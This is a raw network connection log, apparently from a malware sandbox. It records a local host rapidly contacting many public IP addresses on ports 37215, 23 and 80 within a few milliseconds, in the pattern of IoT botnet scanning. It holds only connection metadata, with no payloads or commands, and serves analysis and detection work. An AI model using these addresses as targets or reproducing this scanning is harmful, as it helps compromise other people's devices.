Jun 1, 2024 18:15:54.233095884 CEST	44086	37215	192.168.2.23	41.139.184.97
Jun 1, 2024 18:15:54.233110905 CEST	51176	37215	192.168.2.23	41.144.59.161
Jun 1, 2024 18:15:54.233115911 CEST	51288	37215	192.168.2.23	156.122.101.93
Jun 1, 2024 18:15:54.233115911 CEST	53482	37215	192.168.2.23	41.13.150.2
Jun 1, 2024 18:15:54.233140945 CEST	49224	37215	192.168.2.23	41.43.208.255
Jun 1, 2024 18:15:54.233153105 CEST	59806	37215	192.168.2.23	197.33.181.12
Jun 1, 2024 18:15:54.233170986 CEST	38486	37215	192.168.2.23	41.84.23.118
Jun 1, 2024 18:15:54.233194113 CEST	60452	37215	192.168.2.23	156.6.171.128
Jun 1, 2024 18:15:54.233201981 CEST	34226	37215	192.168.2.23	41.74.251.91
Jun 1, 2024 18:15:54.233216047 CEST	37215	54532	197.159.210.112	192.168.2.23
Jun 1, 2024 18:15:54.233220100 CEST	33544	37215	192.168.2.23	41.244.158.164
Jun 1, 2024 18:15:54.233236074 CEST	47530	37215	192.168.2.23	156.234.39.13
Jun 1, 2024 18:15:54.233247995 CEST	37215	48658	41.164.227.208	192.168.2.23
Jun 1, 2024 18:15:54.233263016 CEST	54532	37215	192.168.2.23	197.159.210.112
Jun 1, 2024 18:15:54.233263016 CEST	60378	37215	192.168.2.23	156.88.210.161
Jun 1, 2024 18:15:54.233264923 CEST	37215	36204	41.37.220.142	192.168.2.23
Jun 1, 2024 18:15:54.233277082 CEST	49572	37215	192.168.2.23	197.229.155.141
Jun 1, 2024 18:15:54.233304977 CEST	36204	37215	192.168.2.23	41.37.220.142
Jun 1, 2024 18:15:54.233314037 CEST	54026	37215	192.168.2.23	197.236.203.121
Jun 1, 2024 18:15:54.233319044 CEST	37215	49194	156.227.20.171	192.168.2.23
Jun 1, 2024 18:15:54.233335018 CEST	37215	41014	156.167.5.201	192.168.2.23
Jun 1, 2024 18:15:54.233341932 CEST	38622	37215	192.168.2.23	197.213.9.188
Jun 1, 2024 18:15:54.233349085 CEST	37215	48832	156.198.87.202	192.168.2.23
Jun 1, 2024 18:15:54.233356953 CEST	45572	37215	192.168.2.23	41.109.78.181
Jun 1, 2024 18:15:54.233364105 CEST	37215	52362	156.45.224.43	192.168.2.23
Jun 1, 2024 18:15:54.233366966 CEST	49194	37215	192.168.2.23	156.227.20.171
Jun 1, 2024 18:15:54.233377934 CEST	36170	37215	192.168.2.23	156.47.174.21
Jun 1, 2024 18:15:54.233377934 CEST	41014	37215	192.168.2.23	156.167.5.201
Jun 1, 2024 18:15:54.233377934 CEST	37215	37366	156.33.225.228	192.168.2.23
Jun 1, 2024 18:15:54.233386993 CEST	48832	37215	192.168.2.23	156.198.87.202
Jun 1, 2024 18:15:54.233397007 CEST	37215	41586	197.22.210.222	192.168.2.23
Jun 1, 2024 18:15:54.233400106 CEST	52362	37215	192.168.2.23	156.45.224.43
Jun 1, 2024 18:15:54.233407974 CEST	38566	37215	192.168.2.23	41.5.46.180
Jun 1, 2024 18:15:54.233412027 CEST	37215	59700	41.139.183.232	192.168.2.23
Jun 1, 2024 18:15:54.233426094 CEST	37215	53196	156.58.214.28	192.168.2.23
Jun 1, 2024 18:15:54.233427048 CEST	47606	37215	192.168.2.23	197.110.203.35
Jun 1, 2024 18:15:54.233433962 CEST	41586	37215	192.168.2.23	197.22.210.222
Jun 1, 2024 18:15:54.233436108 CEST	60608	37215	192.168.2.23	41.55.10.217
Jun 1, 2024 18:15:54.233441114 CEST	37215	49906	156.113.109.247	192.168.2.23
Jun 1, 2024 18:15:54.233448982 CEST	59700	37215	192.168.2.23	41.139.183.232
Jun 1, 2024 18:15:54.233464956 CEST	46710	37215	192.168.2.23	197.109.223.59
Jun 1, 2024 18:15:54.233475924 CEST	37215	45594	156.9.236.107	192.168.2.23
Jun 1, 2024 18:15:54.233484030 CEST	49906	37215	192.168.2.23	156.113.109.247
Jun 1, 2024 18:15:54.233484030 CEST	53196	37215	192.168.2.23	156.58.214.28
Jun 1, 2024 18:15:54.233491898 CEST	37215	38612	41.193.154.175	192.168.2.23
Jun 1, 2024 18:15:54.233494043 CEST	56050	37215	192.168.2.23	156.13.177.93
Jun 1, 2024 18:15:54.233505964 CEST	37215	49600	197.171.180.102	192.168.2.23
Jun 1, 2024 18:15:54.233514071 CEST	45594	37215	192.168.2.23	156.9.236.107
Jun 1, 2024 18:15:54.233519077 CEST	37215	41724	41.87.170.8	192.168.2.23
Jun 1, 2024 18:15:54.233530045 CEST	54026	37215	192.168.2.23	156.46.96.196
Jun 1, 2024 18:15:54.233531952 CEST	37215	35458	41.53.249.76	192.168.2.23
Jun 1, 2024 18:15:54.233545065 CEST	37215	47716	197.148.143.218	192.168.2.23
Jun 1, 2024 18:15:54.233550072 CEST	49600	37215	192.168.2.23	197.171.180.102
Jun 1, 2024 18:15:54.233551025 CEST	52414	37215	192.168.2.23	197.120.18.9
Jun 1, 2024 18:15:54.233551979 CEST	41724	37215	192.168.2.23	41.87.170.8
Jun 1, 2024 18:15:54.233557940 CEST	37215	57592	156.94.219.6	192.168.2.23
Jun 1, 2024 18:15:54.233565092 CEST	35458	37215	192.168.2.23	41.53.249.76
Jun 1, 2024 18:15:54.233581066 CEST	33882	37215	192.168.2.23	41.237.67.196
Jun 1, 2024 18:15:54.233587027 CEST	37215	36386	41.249.106.11	192.168.2.23
Jun 1, 2024 18:15:54.233597040 CEST	47716	37215	192.168.2.23	197.148.143.218
Jun 1, 2024 18:15:54.233597040 CEST	57592	37215	192.168.2.23	156.94.219.6
Jun 1, 2024 18:15:54.233601093 CEST	37215	45328	156.193.10.45	192.168.2.23
Jun 1, 2024 18:15:54.233608961 CEST	40604	37215	192.168.2.23	197.85.240.37
Jun 1, 2024 18:15:54.233629942 CEST	37215	40714	197.215.123.203	192.168.2.23
Jun 1, 2024 18:15:54.233637094 CEST	39874	37215	192.168.2.23	41.147.35.71
Jun 1, 2024 18:15:54.233649015 CEST	41896	37215	192.168.2.23	41.227.197.196
Jun 1, 2024 18:15:54.233658075 CEST	37215	55648	197.218.44.219	192.168.2.23
Jun 1, 2024 18:15:54.233671904 CEST	37215	53806	197.239.209.224	192.168.2.23
Jun 1, 2024 18:15:54.233678102 CEST	56718	37215	192.168.2.23	41.45.246.39
Jun 1, 2024 18:15:54.233685017 CEST	37215	45532	41.232.72.207	192.168.2.23
Jun 1, 2024 18:15:54.233685017 CEST	35932	37215	192.168.2.23	156.240.0.43
Jun 1, 2024 18:15:54.233699083 CEST	37215	56050	156.198.133.179	192.168.2.23
Jun 1, 2024 18:15:54.233705997 CEST	55648	37215	192.168.2.23	197.218.44.219
Jun 1, 2024 18:15:54.233711958 CEST	37215	39892	197.176.79.105	192.168.2.23
Jun 1, 2024 18:15:54.233717918 CEST	53806	37215	192.168.2.23	197.239.209.224
Jun 1, 2024 18:15:54.233717918 CEST	34470	37215	192.168.2.23	156.51.243.47
Jun 1, 2024 18:15:54.233720064 CEST	45532	37215	192.168.2.23	41.232.72.207
Jun 1, 2024 18:15:54.233717918 CEST	40978	37215	192.168.2.23	156.158.221.167
Jun 1, 2024 18:15:54.233725071 CEST	37215	44394	41.24.85.120	192.168.2.23
Jun 1, 2024 18:15:54.233743906 CEST	39892	37215	192.168.2.23	197.176.79.105
Jun 1, 2024 18:15:54.233751059 CEST	37215	60494	156.68.148.229	192.168.2.23
Jun 1, 2024 18:15:54.233752012 CEST	42234	37215	192.168.2.23	41.18.48.115
Jun 1, 2024 18:15:54.233762980 CEST	43170	37215	192.168.2.23	197.0.128.225
Jun 1, 2024 18:15:54.233763933 CEST	37215	55216	156.37.13.98	192.168.2.23
Jun 1, 2024 18:15:54.233778000 CEST	37215	52998	156.85.186.89	192.168.2.23
Jun 1, 2024 18:15:54.233778954 CEST	44394	37215	192.168.2.23	41.24.85.120
Jun 1, 2024 18:15:54.233782053 CEST	35288	37215	192.168.2.23	197.56.114.72
Jun 1, 2024 18:15:54.233791113 CEST	37215	55144	41.61.6.231	192.168.2.23
Jun 1, 2024 18:15:54.233795881 CEST	60494	37215	192.168.2.23	156.68.148.229
Jun 1, 2024 18:15:54.233803034 CEST	37215	54402	41.152.169.18	192.168.2.23
Jun 1, 2024 18:15:54.233804941 CEST	55216	37215	192.168.2.23	156.37.13.98
Jun 1, 2024 18:15:54.233817101 CEST	37215	51976	41.137.161.29	192.168.2.23
Jun 1, 2024 18:15:54.233833075 CEST	55144	37215	192.168.2.23	41.61.6.231
Jun 1, 2024 18:15:54.233844995 CEST	37215	38836	156.141.233.124	192.168.2.23
Jun 1, 2024 18:15:54.233858109 CEST	37215	45586	41.144.64.245	192.168.2.23
Jun 1, 2024 18:15:54.233865023 CEST	54402	37215	192.168.2.23	41.152.169.18
Jun 1, 2024 18:15:54.233875036 CEST	51976	37215	192.168.2.23	41.137.161.29
Jun 1, 2024 18:15:54.234172106 CEST	37215	43196	41.64.231.154	192.168.2.23
Jun 1, 2024 18:15:54.234185934 CEST	37215	55452	41.61.54.93	192.168.2.23
Jun 1, 2024 18:15:54.234214067 CEST	37215	40380	41.29.240.127	192.168.2.23
Jun 1, 2024 18:15:54.234227896 CEST	23	34452	144.135.30.158	192.168.2.23
Jun 1, 2024 18:15:54.234241009 CEST	37215	57566	41.179.71.43	192.168.2.23
Jun 1, 2024 18:15:54.234252930 CEST	23	36002	144.135.30.158	192.168.2.23
Jun 1, 2024 18:15:54.234283924 CEST	37215	53694	41.23.36.64	192.168.2.23
Jun 1, 2024 18:15:54.234311104 CEST	37215	33272	41.104.188.254	192.168.2.23
Jun 1, 2024 18:15:54.234323978 CEST	37215	35612	41.125.186.113	192.168.2.23
Jun 1, 2024 18:15:54.234340906 CEST	36002	23	192.168.2.23	144.135.30.158
Jun 1, 2024 18:15:54.234627962 CEST	37215	35770	197.81.225.105	192.168.2.23
Jun 1, 2024 18:15:54.234642029 CEST	23	34344	198.117.191.173	192.168.2.23
Jun 1, 2024 18:15:54.234671116 CEST	80	58314	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.236032963 CEST	23	53992	197.13.105.153	192.168.2.23
Jun 1, 2024 18:15:54.236063957 CEST	23	55502	197.13.105.153	192.168.2.23
Jun 1, 2024 18:15:54.236078978 CEST	23	33958	94.202.3.93	192.168.2.23
Jun 1, 2024 18:15:54.236093044 CEST	23	35578	94.202.3.93	192.168.2.23
Jun 1, 2024 18:15:54.236110926 CEST	55502	23	192.168.2.23	197.13.105.153
Jun 1, 2024 18:15:54.236129045 CEST	35578	23	192.168.2.23	94.202.3.93
Jun 1, 2024 18:15:54.236494064 CEST	35612	37215	192.168.2.23	41.125.186.113
Jun 1, 2024 18:15:54.236514091 CEST	55452	37215	192.168.2.23	41.61.54.93
Jun 1, 2024 18:15:54.236515045 CEST	33272	37215	192.168.2.23	41.104.188.254
Jun 1, 2024 18:15:54.236515045 CEST	53694	37215	192.168.2.23	41.23.36.64
Jun 1, 2024 18:15:54.236521006 CEST	35770	37215	192.168.2.23	197.81.225.105
Jun 1, 2024 18:15:54.236522913 CEST	52998	37215	192.168.2.23	156.85.186.89
Jun 1, 2024 18:15:54.236522913 CEST	23	39146	148.206.13.124	192.168.2.23
Jun 1, 2024 18:15:54.236545086 CEST	23	35134	124.185.80.56	192.168.2.23
Jun 1, 2024 18:15:54.236593962 CEST	39146	23	192.168.2.23	148.206.13.124
Jun 1, 2024 18:15:54.236630917 CEST	40976	23	192.168.2.23	148.206.13.124
Jun 1, 2024 18:15:54.236663103 CEST	35134	23	192.168.2.23	124.185.80.56
Jun 1, 2024 18:15:54.236664057 CEST	37046	23	192.168.2.23	124.185.80.56
Jun 1, 2024 18:15:54.237093925 CEST	80	44574	168.235.31.17	192.168.2.23
Jun 1, 2024 18:15:54.237108946 CEST	80	37034	194.244.242.70	192.168.2.23
Jun 1, 2024 18:15:54.237139940 CEST	80	54410	147.89.17.146	192.168.2.23
Jun 1, 2024 18:15:54.237168074 CEST	80	60472	49.81.200.207	192.168.2.23
Jun 1, 2024 18:15:54.237169027 CEST	44574	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.237176895 CEST	37034	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.237181902 CEST	80	59692	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.237190008 CEST	54410	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.237195969 CEST	80	36480	137.234.162.150	192.168.2.23
Jun 1, 2024 18:15:54.237209082 CEST	80	58546	57.54.162.72	192.168.2.23
Jun 1, 2024 18:15:54.237215996 CEST	60472	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.237216949 CEST	59692	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:54.237226963 CEST	80	41606	24.179.173.118	192.168.2.23
Jun 1, 2024 18:15:54.237240076 CEST	80	47054	213.99.204.125	192.168.2.23
Jun 1, 2024 18:15:54.237245083 CEST	36480	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.237245083 CEST	58546	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.237266064 CEST	41606	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.237389088 CEST	80	55740	50.27.20.241	192.168.2.23
Jun 1, 2024 18:15:54.237404108 CEST	80	55982	124.0.139.31	192.168.2.23
Jun 1, 2024 18:15:54.237422943 CEST	47054	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.237432957 CEST	80	60810	99.170.206.200	192.168.2.23
Jun 1, 2024 18:15:54.237447023 CEST	55740	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.237447023 CEST	55982	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.237472057 CEST	60810	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.237601042 CEST	44574	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.237616062 CEST	44574	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.237633944 CEST	44870	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.237663031 CEST	80	49524	133.130.243.96	192.168.2.23
Jun 1, 2024 18:15:54.237678051 CEST	37034	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.237678051 CEST	80	46164	81.66.87.121	192.168.2.23
Jun 1, 2024 18:15:54.237678051 CEST	37034	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.237694025 CEST	80	46754	52.191.152.237	192.168.2.23
Jun 1, 2024 18:15:54.237701893 CEST	49524	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.237704039 CEST	37328	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.237706900 CEST	80	58026	59.172.71.185	192.168.2.23
Jun 1, 2024 18:15:54.237715006 CEST	46164	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.237719059 CEST	54410	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.237719059 CEST	54410	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.237735033 CEST	80	43196	60.224.142.1	192.168.2.23
Jun 1, 2024 18:15:54.237741947 CEST	58026	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.237745047 CEST	46754	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.237747908 CEST	54704	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.237747908 CEST	80	32936	189.82.218.132	192.168.2.23
Jun 1, 2024 18:15:54.237771988 CEST	43196	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.237773895 CEST	80	36208	147.135.44.218	192.168.2.23
Jun 1, 2024 18:15:54.237773895 CEST	60472	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.237783909 CEST	32936	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.237787962 CEST	80	53032	53.223.178.64	192.168.2.23
Jun 1, 2024 18:15:54.237802029 CEST	60472	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.237816095 CEST	80	59368	45.9.82.52	192.168.2.23
Jun 1, 2024 18:15:54.237818003 CEST	60766	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.237829924 CEST	36480	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.237829924 CEST	36208	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.237831116 CEST	80	39940	69.42.202.171	192.168.2.23
Jun 1, 2024 18:15:54.237838984 CEST	36480	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.237838984 CEST	53032	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.237843990 CEST	80	35140	24.72.9.82	192.168.2.23
Jun 1, 2024 18:15:54.237850904 CEST	59368	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.237857103 CEST	80	56774	145.92.78.73	192.168.2.23
Jun 1, 2024 18:15:54.237864971 CEST	39940	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.237870932 CEST	80	40456	132.66.64.38	192.168.2.23
Jun 1, 2024 18:15:54.237879992 CEST	35140	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.237884045 CEST	80	33194	222.37.4.5	192.168.2.23
Jun 1, 2024 18:15:54.237888098 CEST	36774	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.237895012 CEST	56774	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.237898111 CEST	80	37350	66.47.79.133	192.168.2.23
Jun 1, 2024 18:15:54.237900972 CEST	40456	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.237922907 CEST	58546	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.237925053 CEST	33194	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.237943888 CEST	58546	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.237943888 CEST	37350	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.237945080 CEST	58840	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.237960100 CEST	41606	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.237960100 CEST	41606	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.237993002 CEST	41900	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.237993002 CEST	47054	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.238015890 CEST	47348	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.238029957 CEST	55740	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.238039017 CEST	55740	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.238049984 CEST	47054	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.238063097 CEST	56032	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.238074064 CEST	55982	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.238087893 CEST	55982	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.238105059 CEST	56274	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.238117933 CEST	60810	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.238131046 CEST	60810	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.238148928 CEST	32870	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.238204956 CEST	80	33318	67.147.165.34	192.168.2.23
Jun 1, 2024 18:15:54.238219976 CEST	80	53466	95.127.175.227	192.168.2.23
Jun 1, 2024 18:15:54.238224030 CEST	49524	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.238224030 CEST	49524	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.238233089 CEST	80	48614	179.122.233.207	192.168.2.23
Jun 1, 2024 18:15:54.238239050 CEST	33318	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.238254070 CEST	49814	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.238255978 CEST	80	44888	161.43.121.185	192.168.2.23
Jun 1, 2024 18:15:54.238269091 CEST	46164	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.238269091 CEST	48614	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.238275051 CEST	80	53154	206.73.46.114	192.168.2.23
Jun 1, 2024 18:15:54.238275051 CEST	53466	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.238281012 CEST	46164	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.238282919 CEST	80	50474	39.24.219.249	192.168.2.23
Jun 1, 2024 18:15:54.238292933 CEST	44888	80	192.168.2.23	161.43.121.185
Jun 1, 2024 18:15:54.238296032 CEST	80	48212	85.238.207.251	192.168.2.23
Jun 1, 2024 18:15:54.238308907 CEST	80	47694	134.80.188.68	192.168.2.23
Jun 1, 2024 18:15:54.238317966 CEST	53154	80	192.168.2.23	206.73.46.114
Jun 1, 2024 18:15:54.238323927 CEST	50474	80	192.168.2.23	39.24.219.249
Jun 1, 2024 18:15:54.238337040 CEST	46454	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.238337040 CEST	80	44378	32.62.55.43	192.168.2.23
Jun 1, 2024 18:15:54.238343954 CEST	46754	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.238353014 CEST	80	45190	42.11.130.136	192.168.2.23
Jun 1, 2024 18:15:54.238353014 CEST	47694	80	192.168.2.23	134.80.188.68
Jun 1, 2024 18:15:54.238365889 CEST	80	41362	41.189.31.68	192.168.2.23
Jun 1, 2024 18:15:54.238370895 CEST	44378	80	192.168.2.23	32.62.55.43
Jun 1, 2024 18:15:54.238372087 CEST	48212	80	192.168.2.23	85.238.207.251
Jun 1, 2024 18:15:54.238382101 CEST	46754	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.238389969 CEST	80	50710	198.203.182.175	192.168.2.23
Jun 1, 2024 18:15:54.238398075 CEST	45190	80	192.168.2.23	42.11.130.136
Jun 1, 2024 18:15:54.238401890 CEST	80	48026	124.204.6.25	192.168.2.23
Jun 1, 2024 18:15:54.238404989 CEST	41362	80	192.168.2.23	41.189.31.68
Jun 1, 2024 18:15:54.238405943 CEST	47042	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.238415003 CEST	80	45958	146.155.139.101	192.168.2.23
Jun 1, 2024 18:15:54.238424063 CEST	50710	80	192.168.2.23	198.203.182.175
Jun 1, 2024 18:15:54.238439083 CEST	36208	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.238445044 CEST	80	54808	118.249.69.78	192.168.2.23
Jun 1, 2024 18:15:54.238445044 CEST	36208	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.238457918 CEST	80	52274	106.72.36.51	192.168.2.23
Jun 1, 2024 18:15:54.238462925 CEST	48026	80	192.168.2.23	124.204.6.25
Jun 1, 2024 18:15:54.238462925 CEST	45958	80	192.168.2.23	146.155.139.101
Jun 1, 2024 18:15:54.238471031 CEST	80	49570	42.187.49.118	192.168.2.23
Jun 1, 2024 18:15:54.238476992 CEST	54808	80	192.168.2.23	118.249.69.78
Jun 1, 2024 18:15:54.238483906 CEST	80	49860	145.13.166.240	192.168.2.23
Jun 1, 2024 18:15:54.238492012 CEST	36494	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.238497019 CEST	52274	80	192.168.2.23	106.72.36.51
Jun 1, 2024 18:15:54.238506079 CEST	49570	80	192.168.2.23	42.187.49.118
Jun 1, 2024 18:15:54.238523006 CEST	58026	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.238523960 CEST	49860	80	192.168.2.23	145.13.166.240
Jun 1, 2024 18:15:54.238533020 CEST	58026	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.238545895 CEST	58312	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.238559961 CEST	43196	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.238568068 CEST	43196	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.238595963 CEST	43482	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.238595963 CEST	32936	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.238624096 CEST	33222	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.238624096 CEST	32936	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.238640070 CEST	53032	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.238640070 CEST	53032	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.238667965 CEST	53318	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.238678932 CEST	59368	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.238678932 CEST	59368	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.238701105 CEST	59652	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.238704920 CEST	80	50036	99.223.38.236	192.168.2.23
Jun 1, 2024 18:15:54.238708019 CEST	80	43072	107.118.12.96	192.168.2.23
Jun 1, 2024 18:15:54.238712072 CEST	39940	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.238723040 CEST	39940	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.238738060 CEST	80	38226	156.33.185.72	192.168.2.23
Jun 1, 2024 18:15:54.238739014 CEST	40224	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.238761902 CEST	35140	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.238761902 CEST	80	35692	211.152.213.185	192.168.2.23
Jun 1, 2024 18:15:54.238775015 CEST	50036	80	192.168.2.23	99.223.38.236
Jun 1, 2024 18:15:54.238779068 CEST	43072	80	192.168.2.23	107.118.12.96
Jun 1, 2024 18:15:54.238779068 CEST	38226	80	192.168.2.23	156.33.185.72
Jun 1, 2024 18:15:54.238790035 CEST	35140	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.238794088 CEST	80	55520	118.167.64.175	192.168.2.23
Jun 1, 2024 18:15:54.238807917 CEST	80	44968	176.78.160.138	192.168.2.23
Jun 1, 2024 18:15:54.238811016 CEST	56774	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.238817930 CEST	35424	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.238818884 CEST	56774	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.238821030 CEST	80	38306	87.233.87.119	192.168.2.23
Jun 1, 2024 18:15:54.238821983 CEST	35692	80	192.168.2.23	211.152.213.185
Jun 1, 2024 18:15:54.238833904 CEST	80	42682	13.15.216.154	192.168.2.23
Jun 1, 2024 18:15:54.238836050 CEST	55520	80	192.168.2.23	118.167.64.175
Jun 1, 2024 18:15:54.238836050 CEST	44968	80	192.168.2.23	176.78.160.138
Jun 1, 2024 18:15:54.238847017 CEST	80	33688	41.108.232.85	192.168.2.23
Jun 1, 2024 18:15:54.238858938 CEST	57058	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.238863945 CEST	40456	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.238876104 CEST	38306	80	192.168.2.23	87.233.87.119
Jun 1, 2024 18:15:54.238879919 CEST	40456	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.238905907 CEST	40740	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.238909006 CEST	42682	80	192.168.2.23	13.15.216.154
Jun 1, 2024 18:15:54.238913059 CEST	33194	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.238930941 CEST	33194	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.238949060 CEST	33474	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.238960981 CEST	33688	80	192.168.2.23	41.108.232.85
Jun 1, 2024 18:15:54.238960981 CEST	37350	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.238986969 CEST	37630	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.239075899 CEST	33318	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.239084005 CEST	33318	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.239084005 CEST	80	53534	219.191.228.10	192.168.2.23
Jun 1, 2024 18:15:54.239099026 CEST	80	50940	76.115.82.134	192.168.2.23
Jun 1, 2024 18:15:54.239109039 CEST	33596	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.239111900 CEST	37350	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.239111900 CEST	53466	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.239130974 CEST	53534	80	192.168.2.23	219.191.228.10
Jun 1, 2024 18:15:54.239137888 CEST	53466	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.239137888 CEST	80	44588	176.104.168.239	192.168.2.23
Jun 1, 2024 18:15:54.239139080 CEST	50940	80	192.168.2.23	76.115.82.134
Jun 1, 2024 18:15:54.239140034 CEST	53744	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.239156961 CEST	80	49912	116.128.48.224	192.168.2.23
Jun 1, 2024 18:15:54.239157915 CEST	48614	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.239157915 CEST	48614	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.239170074 CEST	80	59202	104.134.7.68	192.168.2.23
Jun 1, 2024 18:15:54.239181995 CEST	44588	80	192.168.2.23	176.104.168.239
